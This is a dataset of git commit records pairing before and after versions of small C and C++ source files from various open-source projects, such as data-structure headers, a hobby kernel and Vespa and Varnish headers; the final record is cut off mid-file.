{"commit":"c80f71802443a6a352a7ed7c0f1dfbeda97d961a","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Tree_Minimum(BSTNode* n);\nBSTNode* BST_Tree_Maximum(BSTNode* n);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Tree_Minimum(BSTNode* n);\nBSTNode* BST_Tree_Maximum(BSTNode* n);\nBSTNode* BST_Tree_Root(BST* T);\n\n#endif","subject":"Add BST Tree Root function declaration","message":"Add BST Tree Root function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"8ae38b029c6566f18bcf7a8781c1235f2d57acbc","old_file":"unique-characters\/unique-characters\/main.c","new_file":"unique-characters\/unique-characters\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  unique-characters\n\/\/\n\/\/  Created by Jack Zuban on 8\/20\/17.\n\/\/  Copyright © 2017 Jack Zuban. All rights reserved.\n\/\/\n\n#include <stdio.h>\n\nvoid printCharacters(char *inputString) {\n    int dictinary[30] = {};\n\n    while (*inputString) {\n        dictinary[(int) *inputString]++;\n        printf(\"Current character is: %c\\n\", *inputString);\n\n        inputString++;\n    }\n}\n\nint main(int argc, const char * argv[]) {\n    void printCharacters(char *inputString);\n    char inputString[80] = {};\n\n    printf(\"Please enter your string: \");\n    scanf(\"%s\", inputString);\n\n    \/\/ build a hash table with caracters\n    printCharacters(inputString);\n\n    printf(\"Your string is: %s\\n\", inputString);\n\n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  Check if a string has all unique characters by counting how many times each character appears using its ASCII code\n\/\/\n\/\/  Created by Jack Zuban on 8\/20\/17.\n\/\/  Copyright © 2017 Jack Zuban. All rights reserved.\n\/\/\n\n#include <stdio.h>\n\n_Bool isUniqueChars(char *str) {\n    int frequencyDictionary[127] = {};\n\n    while(*str) {\n        frequencyDictionary[(int) *str]++;\n\n        if (frequencyDictionary[(int) *str] > 1) {\n            return 0;\n        }\n\n        str++;\n    }\n\n    return 1;\n}\n\nint main(void) {\n    _Bool isUniqueChars(char *string);\n    char inputString[127] = {};\n\n    printf(\"Please enter your string: \");\n    fgets(inputString, 128, stdin);\n\n    printf(\"This string with %s\\n\", isUniqueChars(inputString) ? \"unique characters.\" : \"duplicates.\");\n\n    return 0;\n}\n","subject":"Check if a string has all unique characters algorithm","message":"Check if a string has all unique characters algorithm\n","lang":"C","license":"mit","repos":"jack-zuban\/c-practice"}
{"commit":"b832d36facff0cf57695e537e06a7ba1f484c6e6","old_file":"ugeneric.h","new_file":"ugeneric.h","old_contents":"","new_contents":"#include \"generic.h\"\n#include \"dict.h\"\n#include \"vector.h\"\n#include \"list.h\"\n#include \"htbl.h\"\n#include \"dsu.h\"\n#include \"bst.h\"\n#include \"sort.h\"\n#include \"heap.h\"\n#include \"queue.h\"\n#include \"mem.h\"\n#include \"string_utils.h\"\n#include \"file_utils.h\"\n","subject":"Add common header for library functions","message":"Add common header for library functions\n","lang":"C","license":"mit","repos":"vslapik\/ugeneric,vslapik\/ugeneric,vslapik\/ugeneric"}
{"commit":"d56b3dc386fbcc966e600b357768b078ceea550d","old_file":"ios\/RNFlurryAnalytics.h","new_file":"ios\/RNFlurryAnalytics.h","old_contents":"#import \"RCTBridgeModule.h\"\n\n@interface RNFlurryAnalytics : NSObject <RCTBridgeModule>\n\n@end\n","new_contents":"#import <React\/RCTBridgeModule.h>\n\n@interface RNFlurryAnalytics : NSObject <RCTBridgeModule>\n\n@end\n","subject":"Update header include paths to support React Native 0.40","message":"Update header include paths to support React Native 0.40\n","lang":"C","license":"mit","repos":"xxsnakerxx\/react-native-flurry-analytics,xxsnakerxx\/react-native-flurry-analytics"}
{"commit":"77cea865bdef876d2745442ce2894ec8288d6cb3","old_file":"kernel\/kernel.c","new_file":"kernel\/kernel.c","old_contents":"#include <stddef.h>\n#include <stdint.h>\n#include \".\/arch\/x86\/idt.h\"\n#include <terminal.h>\n#include <kabort.h>\n#include <kassert.h>\n\nvoid kernel_main()\n{\n    term_initialize();\n    idt_install();\n\n    kputs(\"Interrupt?\");\n    int i = 0;\n    int b = 128;\n    int d = 1;\n\n    d = b \/ i;\n\n    while (1)\n        ;\n}\n","new_contents":"#include <stddef.h>\n#include <stdint.h>\n#include \".\/arch\/x86\/gdt.h\"\n#include \".\/arch\/x86\/idt.h\"\n#include <terminal.h>\n#include <kabort.h>\n#include <kassert.h>\n\nvoid kernel_main()\n{\n    term_initialize();\n    gdt_install();\n    idt_install();\n\n    kputs(\"Hello kernel!\");\n\n    while (1) {\n    };\n}\n","subject":"Install GDT and remove division by 0","message":"Install GDT and remove division by 0\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth"}
{"commit":"57bd2cbba55e1dc808ac5daec0b8440d542eafbe","old_file":"ios\/src\/TGGeoPoint.h","new_file":"ios\/src\/TGGeoPoint.h","old_contents":"\/\/\n\/\/  TGGeoPoint.h\n\/\/  tangram\n\/\/\n\/\/  Created by Karim Naaji on 10\/27\/16.\n\/\/\n\/\/\n\n#ifndef TGGeoPoint_h\n#define TGGeoPoint_h\n\nstruct TGGeoPoint {\n    double longitude;\n    double latitude;\n};\n\ntypedef struct TGGeoPoint TGGeoPoint;\n\nstatic inline TGGeoPoint TGGeoPointMake(double lat, double lon)\n{\n    TGGeoPoint p;\n    p.latitude = lat;\n    p.longitude = lon;\n    return p;\n}\n\n#endif \/* TGGeoPoint_h *\/\n","new_contents":"\/\/\n\/\/  TGGeoPoint.h\n\/\/  tangram\n\/\/\n\/\/  Created by Karim Naaji on 10\/27\/16.\n\/\/\n\/\/\n\n#pragma once\n\nstruct TGGeoPoint {\n    double longitude;\n    double latitude;\n};\n\ntypedef struct TGGeoPoint TGGeoPoint;\n\nstatic inline TGGeoPoint TGGeoPointMake(double lat, double lon)\n{\n    TGGeoPoint p;\n    p.latitude = lat;\n    p.longitude = lon;\n    return p;\n}\n\n","subject":"Update for pragma syntax - Only unsupported on older versions of GCC","message":"Update for pragma syntax\n- Only unsupported on older versions of GCC\n","lang":"C","license":"mit","repos":"quitejonny\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es"}
{"commit":"4be116f58417a5f94ea51babff4e1a06425ab37e","old_file":"loopback_test.c","new_file":"loopback_test.c","old_contents":"#include \"usbdmx.h\"\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\n\nint main(int argc, char ** argv) {\n    int result;\n    int set_value;\n    int count = 0;\n\n    TDMXArray dmx_out;\n    TDMXArray dmx_in;\n\n    \/\/ Open Interface in Mode 6 (PC Out -> DMX Out & DMX In -> PC In)\n    \/\/ See head of this file for details\n    result = OpenInterface(&dmx_out, &dmx_in, 6);\n\n    if(result == 0) {\n        \/\/ Open failed\n        printf(\"Unable to open Interface\\n\");\n        exit(1);\n    }\n\n    while(1) {\n        set_value = count % 256;\n        dmx_out[0] = set_value;\n        dmx_out[1] = set_value;\n        dmx_out[2] = set_value;\n\n        usleep(50000);  \/\/ Wait 50 ms\n\n        if (  (dmx_in[0] != set_value) ||\n              (dmx_in[1] != set_value) ||\n              (dmx_out[2] != set_value)) {\n            printf(\"FAIL %d\\n\", count);\n        } else {\n            count ++;\n            printf(\"Still working %d\\n\", count);\n        }\n    }\n    return 0;\n}\n","new_contents":"#include \"usbdmx.h\"\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\n\nint main(int argc, char ** argv) {\n    int result;\n    int set_value;\n    int count = 0;\n\n    TDMXArray dmx_out;\n    TDMXArray dmx_in;\n\n    \/\/ Open Interface in Mode 6 (PC Out -> DMX Out & DMX In -> PC In)\n    \/\/ See head of this file for details\n    result = OpenInterface(&dmx_out, &dmx_in, 6);\n\n    if(result == 0) {\n        \/\/ Open failed\n        printf(\"Unable to open Interface\\n\");\n        exit(1);\n    }\n\n    while(1) {\n        set_value = count % 256;\n        dmx_out[0] = set_value;\n        dmx_out[1] = set_value;\n        dmx_out[2] = set_value;\n\n        usleep(50000);  \/\/ Wait 50 ms\n\n        if (  (dmx_in[0] != set_value) ||\n              (dmx_in[1] != set_value) ||\n              (dmx_in[2] != set_value)) {\n            printf(\"FAIL %d\\n\", count);\n        } else {\n            count ++;\n            printf(\"Still working %d\\n\", count);\n        }\n    }\n    return 0;\n}\n","subject":"Fix typo dmx_out instead of dmx_in","message":"Fix typo dmx_out instead of dmx_in\n","lang":"C","license":"bsd-3-clause","repos":"DMXControl\/usbdmx,DMXControl\/usbdmx,DMXControl\/usbdmx,fx5\/usbdmx,fx5\/usbdmx,fx5\/usbdmx"}
{"commit":"f74c134dddc1b7307c24f98180256cd0fec1d316","old_file":"Useful\/FunTypes.h","new_file":"Useful\/FunTypes.h","old_contents":"#if defined TESTFLIGHT\n#define TESTFLIGHT YES\n#define DISTRIBUTION NO\n#elif defined DEBUG\n#define TESTFLIGHT NO\n#define DISTRIBUTION NO\n#else\n#define TESTFLIGHT NO\n#define DISTRIBUTION YES\n#endif\n\n\n#define CLIP(X,min,max) MIN(MAX(X, min), max)\n#define white [UIColor whiteColor]\n#define yellow [UIColor yellowColor]\n#define transparent [UIColor clearColor]\n#define black [UIColor blackColor]\n\n\n#if defined __MAC_OS_X_VERSION_MAX_ALLOWED\n#define PLATFORM_OSX\n#define UIApplicationDelegate NSApplicationDelegate\n#define UIView NSView\n#define UIApplication NSApplication\n\n#elif defined __IPHONE_OS_VERSION_MAX_ALLOWED\n#define PLATFORM_IOS\n#endif\n\nvoid error(NSError* err);\nNSError* makeError(NSString* localMessage);\n\ntypedef void (^Block)();\ntypedef void (^Callback)(NSError* err, NSDictionary* res);\ntypedef void (^StringCallback)(NSError* err, NSString* res);\ntypedef void (^ArrayCallback)(NSError* err, NSArray* res);\ntypedef void (^DataCallback)(NSError* err, NSData* data);\ntypedef void (^ImageCallback)(NSError* err, UIImage* image);\ntypedef void (^ViewCallback)(NSError* err, UIView* view);\n\nvoid after(CGFloat delayInSeconds, Block block);\nvoid vibrateDevice();\n\nNSString* concat(id arg1, ...);\nNSNumber* num(int i);\n","new_contents":"#define MODE_DEV 1\n#define MODE_TESTFLIGHT 2\n#define MODE_DISTRIBUTION 3\n#if defined TESTFLIGHT\n    #define MODE MODE_TESTFLIGHT\n#elif defined DEBUG\n    #define MODE MODE_DEV\n#else\n    #define MODE MODE_DISTRIBUTION\n#endif\n#define IS_DISTRIBUTION (MODE == MODE_DISTRIBUTION)\n\n\n#define CLIP(X,min,max) MIN(MAX(X, min), max)\n#define white [UIColor whiteColor]\n#define yellow [UIColor yellowColor]\n#define transparent [UIColor clearColor]\n#define black [UIColor blackColor]\n\n\n#if defined __MAC_OS_X_VERSION_MAX_ALLOWED\n#define PLATFORM_OSX\n#define UIApplicationDelegate NSApplicationDelegate\n#define UIView NSView\n#define UIApplication NSApplication\n\n#elif defined __IPHONE_OS_VERSION_MAX_ALLOWED\n#define PLATFORM_IOS\n#endif\n\nvoid error(NSError* err);\nNSError* makeError(NSString* localMessage);\n\ntypedef void (^Block)();\ntypedef void (^Callback)(NSError* err, NSDictionary* res);\ntypedef void (^StringCallback)(NSError* err, NSString* res);\ntypedef void (^ArrayCallback)(NSError* err, NSArray* res);\ntypedef void (^DataCallback)(NSError* err, NSData* data);\ntypedef void (^ImageCallback)(NSError* err, UIImage* image);\ntypedef void (^ViewCallback)(NSError* err, UIView* view);\n\nvoid after(CGFloat delayInSeconds, Block block);\nvoid vibrateDevice();\n\nNSString* concat(id arg1, ...);\nNSNumber* num(int i);\n","subject":"Add macro MODE and MODE_DEV, MODE_TESTFLIGHT, MODE_DISTRIBUTION","message":"Add macro MODE and MODE_DEV, MODE_TESTFLIGHT, MODE_DISTRIBUTION\n","lang":"C","license":"mit","repos":"ASAPPinc\/fun-go,marcuswestin\/fun-go,marcuswestin\/FunGo"}
{"commit":"37a8410bea290d24e316a841d3fac2fe03815011","old_file":"xftwidth.c","new_file":"xftwidth.c","old_contents":"#include <X11\/Xft\/Xft.h>\n#include <X11\/Xlib.h>\n#include <X11\/extensions\/Xrender.h>\n#include <fontconfig\/fontconfig.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main(int argc, char** argv) {\n  if (argc < 3) {\n    printf(\"xftwidth font string\\n\");\n    return 1;\n  }\n\n  Display *dpy;\n  XftFont *fn;\n  XGlyphInfo ext;\n  FcChar8 *str; \n\n  char *name = argv[1];\n  size_t len = strlen(argv[2]) + 1;\n \n  str = (FcChar8*) malloc(len * sizeof(FcChar8));\n\n  strncpy((char*)str, argv[2], len);\n\n  dpy = XOpenDisplay(NULL);\n  fn = XftFontOpenName(dpy, 0, name);\n \n  if (fn == NULL) {\n    printf(\"Font not found.\\n\");\n    return 1;\n  }\n\n  XftTextExtents8(dpy, fn, str, (int)len, &ext);\n  printf(\"%d\\n\", ext.width);\n \n  XCloseDisplay(dpy);\n  free((void*)str); \n  return 0;\n}\n","new_contents":"#include <X11\/Xft\/Xft.h>\n#include <X11\/Xlib.h>\n#include <X11\/extensions\/Xrender.h>\n#include <fontconfig\/fontconfig.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main(int argc, char** argv) {\n  if (argc < 3) {\n    printf(\"xftwidth font string\\n\");\n    return 1;\n  }\n\n  Display *dpy;\n  XftFont *fn;\n  XGlyphInfo ext;\n  FcChar8 *str; \n\n  char *name = argv[1];\n  size_t len = strlen(argv[2]);\n\n  str = (FcChar8*) malloc(len * sizeof(FcChar8));\n\n  strncpy((char*)str, argv[2], len);\n\n  dpy = XOpenDisplay(NULL);\n  fn = XftFontOpenName(dpy, 0, name);\n \n  if (fn == NULL) {\n    printf(\"Font not found.\\n\");\n    return 1;\n  }\n\n  XftTextExtents8(dpy, fn, str, (int)len, &ext);\n  printf(\"%d\\n\", ext.width);\n \n  XCloseDisplay(dpy);\n  free((void*)str); \n  return 0;\n}\n","subject":"Fix wrong result caused by newline character.","message":"Fix wrong result caused by newline character.\n","lang":"C","license":"mit","repos":"vixus0\/xftwidth"}
{"commit":"071d3ba3b99c9bd61b31eb08f7778afd094bd779","old_file":"searchsummary\/src\/vespa\/searchsummary\/docsummary\/slime_filler_filter.h","new_file":"searchsummary\/src\/vespa\/searchsummary\/docsummary\/slime_filler_filter.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/vespalib\/stllike\/string.h>\n#include <vespa\/vespalib\/stllike\/hash_map.h>\n#include <optional>\n\nnamespace search::docsummary {\n\n\/*\n * Class filtering which fields to render in a struct field.\n *\/\nclass SlimeFillerFilter {\n    vespalib::hash_map<vespalib::string, std::unique_ptr<SlimeFillerFilter>> _filter;\n    std::optional<const SlimeFillerFilter*> get_filter(vespalib::stringref field_name) const;\npublic:\n    SlimeFillerFilter();\n    ~SlimeFillerFilter();\n    static std::optional<const SlimeFillerFilter*> get_filter(const SlimeFillerFilter*, vespalib::stringref field_name);\n    bool empty() const;\n    SlimeFillerFilter& add(vespalib::stringref field_path);\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/vespalib\/stllike\/string.h>\n#include <vespa\/vespalib\/stllike\/hash_map.h>\n#include <optional>\n\nnamespace search::docsummary {\n\n\/*\n * Class filtering which fields to render in a struct field.\n *\/\nclass SlimeFillerFilter {\n    vespalib::hash_map<vespalib::string, std::unique_ptr<SlimeFillerFilter>> _filter;\n    std::optional<const SlimeFillerFilter*> get_filter(vespalib::stringref field_name) const;\npublic:\n    SlimeFillerFilter();\n    ~SlimeFillerFilter();\n    \/*\n     * If field is blocked by the filter then the return value is not set,\n     * otherwise it is set to the filter for the next level.\n     *\/\n    static std::optional<const SlimeFillerFilter*> get_filter(const SlimeFillerFilter* filter, vespalib::stringref field_name);\n    bool empty() const;\n    SlimeFillerFilter& add(vespalib::stringref field_path);\n};\n\n}\n","subject":"Add comment describing semantics of return value from SlimeFillerFilter::get_filter().","message":"Add comment describing semantics of return value from\nSlimeFillerFilter::get_filter().\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"3129fa53af679c2f869d0799c42bc8cf41465fda","old_file":"common\/spherical_coordinates.h","new_file":"common\/spherical_coordinates.h","old_contents":"#ifndef LAGER_COMMON_SPHERICAL_COORDINATES_H\n#define LAGER_COMMON_SPHERICAL_COORDINATES_H\n\n\/*\n * Code based on:\n * http:\/\/stackoverflow.com\/questions\/17016175\/c-unordered-map-using-a-custom-class-type-as-the-key\n *\/\nstruct SphericalCoordinates {\n\tint phi;\n\tint theta;\n\n\tbool operator==(const SphericalCoordinates &other) const\n\t{\n\t\treturn (phi == other.phi && theta == other.theta);\n\t}\n};\n\n\/*\n * Code based on:\n * http:\/\/stackoverflow.com\/questions\/17016175\/c-unordered-map-using-a-custom-class-type-as-the-key\n *\/\nnamespace std {\n\ttemplate<>\n\tstruct hash<SphericalCoordinates>\n\t{\n\t\tstd::size_t operator()(const SphericalCoordinates& k) const\n\t\t{\n\t\t\t\/\/ Compute individual hash values for mPhi and mTheta\n\t\t\t\/\/ and combine them using XOR and bit shifting:\n\t\t\treturn ((hash<int>()(k.phi) ^ (hash<int>()(k.theta) << 1)));\n\t\t}\n\t};\n}\n\ndouble DegreesToRadians(double degrees)\n{\n\treturn (degrees\/180 * M_PI);\n}\n\n#endif \/* LAGER_COMMON_SPHERICAL_COORDINATES_H *\/\n","new_contents":"#ifndef LAGER_COMMON_SPHERICAL_COORDINATES_H\n#define LAGER_COMMON_SPHERICAL_COORDINATES_H\n\n#include <math.h>\n\n\/*\n * Code based on:\n * http:\/\/stackoverflow.com\/questions\/17016175\/c-unordered-map-using-a-custom-class-type-as-the-key\n *\/\nstruct SphericalCoordinates {\n\tint phi;\n\tint theta;\n\n\tbool operator==(const SphericalCoordinates &other) const\n\t{\n\t\treturn (phi == other.phi && theta == other.theta);\n\t}\n};\n\n\/*\n * Code based on:\n * http:\/\/stackoverflow.com\/questions\/17016175\/c-unordered-map-using-a-custom-class-type-as-the-key\n *\/\nnamespace std {\n\ttemplate<>\n\tstruct hash<SphericalCoordinates>\n\t{\n\t\tstd::size_t operator()(const SphericalCoordinates& k) const\n\t\t{\n\t\t\t\/\/ Compute individual hash values for mPhi and mTheta\n\t\t\t\/\/ and combine them using XOR and bit shifting:\n\t\t\treturn ((hash<int>()(k.phi) ^ (hash<int>()(k.theta) << 1)));\n\t\t}\n\t};\n}\n\ndouble DegreesToRadians(double degrees)\n{\n\treturn (degrees\/180 * M_PI);\n}\n\n#endif \/* LAGER_COMMON_SPHERICAL_COORDINATES_H *\/\n","subject":"Add missing math.h include for M_PHI definition","message":"Common: Add missing math.h include for M_PHI definition\n","lang":"C","license":"mit","repos":"andresodio\/lager,andresodio\/lager,andresodio\/lager,andresodio\/lager"}
{"commit":"5a9f64253ca71c0923304c033d121d5f27dd69ad","old_file":"document\/src\/vespa\/document\/serialization\/annotationdeserializer.h","new_file":"document\/src\/vespa\/document\/serialization\/annotationdeserializer.h","old_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/annotation\/span.h>\n#include <vespa\/document\/serialization\/util.h>\n\nnamespace vespalib {\n    class nbostream;\n}\n\nnamespace document {\nclass AlternateSpanList;\nclass Annotation;\nclass FixedTypeRepo;\nclass SpanList;\nclass SpanTree;\nclass SimpleSpanList;\n\nclass AnnotationDeserializer {\npublic:\n    AnnotationDeserializer(const FixedTypeRepo &repo, vespalib::nbostream &stream, uint16_t version);\n\n    std::unique_ptr<SpanTree> readSpanTree();\n    std::unique_ptr<SpanNode> readSpanNode();\n    \/\/ returns 0 if the annotation type is unknown.\n    std::unique_ptr<AlternateSpanList> readAlternateSpanList();\n    void readAnnotation(Annotation & annotation);\nprivate:\n    std::unique_ptr<SpanList> readSpanList();\n    std::unique_ptr<SimpleSpanList> readSimpleSpanList();\n    void readSpan(Span & span) {\n        span.from(getInt1_2_4Bytes(_stream));\n        span.length(getInt1_2_4Bytes(_stream));\n    }\n\n    const FixedTypeRepo    &_repo;\n    vespalib::nbostream    &_stream;\n    uint16_t                _version;\n    std::vector<SpanNode *> _nodes;\n};\n}  \/\/ namespace document\n\n","new_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/annotation\/span.h>\n#include <vespa\/document\/serialization\/util.h>\n#include <vector>\n\nnamespace vespalib {\n    class nbostream;\n}\n\nnamespace document {\nclass AlternateSpanList;\nclass Annotation;\nclass FixedTypeRepo;\nclass SpanList;\nclass SpanTree;\nclass SimpleSpanList;\n\nclass AnnotationDeserializer {\npublic:\n    AnnotationDeserializer(const FixedTypeRepo &repo, vespalib::nbostream &stream, uint16_t version);\n\n    std::unique_ptr<SpanTree> readSpanTree();\n    std::unique_ptr<SpanNode> readSpanNode();\n    \/\/ returns 0 if the annotation type is unknown.\n    std::unique_ptr<AlternateSpanList> readAlternateSpanList();\n    void readAnnotation(Annotation & annotation);\nprivate:\n    std::unique_ptr<SpanList> readSpanList();\n    std::unique_ptr<SimpleSpanList> readSimpleSpanList();\n    void readSpan(Span & span) {\n        span.from(getInt1_2_4Bytes(_stream));\n        span.length(getInt1_2_4Bytes(_stream));\n    }\n\n    const FixedTypeRepo    &_repo;\n    vespalib::nbostream    &_stream;\n    uint16_t                _version;\n    std::vector<SpanNode *> _nodes;\n};\n}  \/\/ namespace document\n\n","subject":"Include what you need as gcc 6 provides less.","message":"Include what you need as gcc 6 provides less.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"35fac131d1331779d31a9de6d40b3ba1d8a4d5b9","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionClose)\nSLTM(ClientAddr)\nSLTM(Request)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(HD_Unknown)\nSLTM(HD_Lost)\n#define HTTPH(a, b, c, d, e, f, g)\tSLTM(b)\n#include \"http_headers.h\"\n#undef HTTPH\n","subject":"Add a Debug shmemlog tag.","message":"Add a Debug shmemlog tag.\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@104 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"chrismoulton\/Varnish-Cache,feld\/Varnish-Cache,ambernetas\/varnish-cache,drwilco\/varnish-cache-drwilco,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-old,ajasty-cavium\/Varnish-Cache,varnish\/Varnish-Cache,1HLtd\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,drwilco\/varnish-cache-old,franciscovg\/Varnish-Cache,mrhmouse\/Varnish-Cache,zhoualbeart\/Varnish-Cache,drwilco\/varnish-cache-old,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,feld\/Varnish-Cache,zhoualbeart\/Varnish-Cache,alarky\/varnish-cache-doc-ja,alarky\/varnish-cache-doc-ja,varnish\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,gquintard\/Varnish-Cache,varnish\/Varnish-Cache,gquintard\/Varnish-Cache,franciscovg\/Varnish-Cache,gquintard\/Varnish-Cache,zhoualbeart\/Varnish-Cache,wikimedia\/operations-debs-varnish,gauthier-delacroix\/Varnish-Cache,feld\/Varnish-Cache,feld\/Varnish-Cache,1HLtd\/Varnish-Cache,mrhmouse\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,ambernetas\/varnish-cache,varnish\/Varnish-Cache,drwilco\/varnish-cache-drwilco,chrismoulton\/Varnish-Cache,mrhmouse\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,ambernetas\/varnish-cache,franciscovg\/Varnish-Cache,1HLtd\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,wikimedia\/operations-debs-varnish,chrismoulton\/Varnish-Cache,ssm\/pkg-varnish,zhoualbeart\/Varnish-Cache,alarky\/varnish-cache-doc-ja,alarky\/varnish-cache-doc-ja,mrhmouse\/Varnish-Cache,ssm\/pkg-varnish,chrismoulton\/Varnish-Cache,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-drwilco,varnish\/Varnish-Cache,wikimedia\/operations-debs-varnish,alarky\/varnish-cache-doc-ja,1HLtd\/Varnish-Cache,ssm\/pkg-varnish,feld\/Varnish-Cache,gquintard\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,chrismoulton\/Varnish-Cache"}
{"commit":"f7499f65a6149495f5750a1aade611d7ce44d9e9","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"#ifndef __COMMON_H__\n#define __COMMON_H__\n\n#if NODE_VERSION_AT_LEAST(0,11,0)\n#define __NODE_V0_11__\n#endif\n\n#endif\n\n","new_contents":"#ifndef __COMMON_H__\n#define __COMMON_H__\n\n#ifdef NODE_VERSION_AT_LEAST\n#if NODE_VERSION_AT_LEAST(0,11,0)\n#define __NODE_V0_11__\n#endif\n#endif\n\n#endif\n\n","subject":"Fix build under node.js 0.10.0","message":"Fix build under node.js 0.10.0\n","lang":"C","license":"lgpl-2.1","repos":"zenozeng\/yapcduino.js,zenozeng\/yapcduino.js,zenozeng\/yapcduino.js,zenozeng\/yapcduino.js,zenozeng\/yapcduino.js"}
{"commit":"5b146eb8735ca22eb8182a58c14381996ebaf173","old_file":"src\/safequeue.h","new_file":"src\/safequeue.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2017 Shift Devices AG\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef LIBDBB_SAFEQUEUE_H\n#define LIBDBB_SAFEQUEUE_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\n#include <atomic>\n#include <queue>\n#include <mutex>\n#include <condition_variable>\n\n\/\/ A threadsafe-queue.\ntemplate <class T>\nclass SafeQueue\n{\npublic:\n  SafeQueue(void)\n    : q()\n    , m()\n    , c()\n  {}\n\n  ~SafeQueue(void)\n  {}\n\n  \/\/ Add an element to the queue.\n  size_t size()\n  {\n    std::lock_guard<std::mutex> lock(m);\n    return q.size();\n  }\n\n  \/\/ Add an element to the queue.\n  void enqueue(T t)\n  {\n    std::lock_guard<std::mutex> 